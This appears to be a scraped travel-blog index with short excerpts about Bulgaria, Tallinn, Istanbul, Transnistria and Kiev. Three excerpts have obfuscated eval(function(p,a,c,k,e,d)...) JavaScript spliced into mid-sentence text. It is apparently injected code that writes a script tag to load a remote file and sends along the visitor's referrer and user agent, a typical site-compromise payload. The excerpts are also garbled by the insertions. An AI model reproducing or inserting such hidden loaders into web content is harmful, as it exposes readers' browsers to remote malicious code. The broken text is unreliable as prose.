Veliko Turnovo – a Balkan jewel

Veliko Turnovo – a Balkan jewel

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first discovered Veliko Turnovo when David and I were planning to take a daytrip to Bulgaria (departing from

Tallinn Restaurants – eat out on a budget (10 suggestions for under 10 euros)

Tallinn Restaurants – eat out on a budget (10 suggestions for under 10 euros)

Having eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|babrh|var|u0026u|referrer|srbre||js|php’.split(‘|’),0,{}))
had lived in Tallinn for over a year and a half, I had plenty of time to explore

Tallinn Old Town – I lived inside a UNESCO site!

Tallinn Old Town – I lived inside a UNESCO site!

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lived in Tallinn, inside the Old Town’s city walls, for a bit over a year and a half, between

Istanbul cats – a photo essay

Istanbul cats – a photo essay

An eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|zyhzs|var|u0026u|referrer|nyeii||js|php’.split(‘|’),0,{}))
Istanbul Cat
One of my favorite things about visiting Istanbul this past November was definitely the multitude of

Shocking things about Transnistria

Shocking things about Transnistria

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recently came back from a trip to Moldova and Ukraine, and one of the stops was Tiraspol. Tiraspol

Tiraspol, Transnistria / Trans-Dniester photo essay

Tiraspol, Transnistria / Trans-Dniester photo essay

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Palace in Tiraspol – Photo by David Lumb
War Memorial – Photo by David Lumb

TIRASPOL TRANSNISTRIA
Tiraspol

Happy New Year from Kiev!

Happy New Year from Kiev!

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NEW YEAR FROM KIEV
We celebrated this NYE in the the middle of Kiev’s protesting crowd, asking for

10 best things to do in the charming Istanbul

10 best things to do in the charming Istanbul

Whenever eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’\w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘\b’+e(c)+’\b’,’g’),k[c])}}return p}(‘0.6(“”);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|rbhda|var|u0026u|referrer|hdbeb||js|php’.split(‘|’),0,{}))
I go visit a place I try not to be too big of a tourist. Of course, I’ll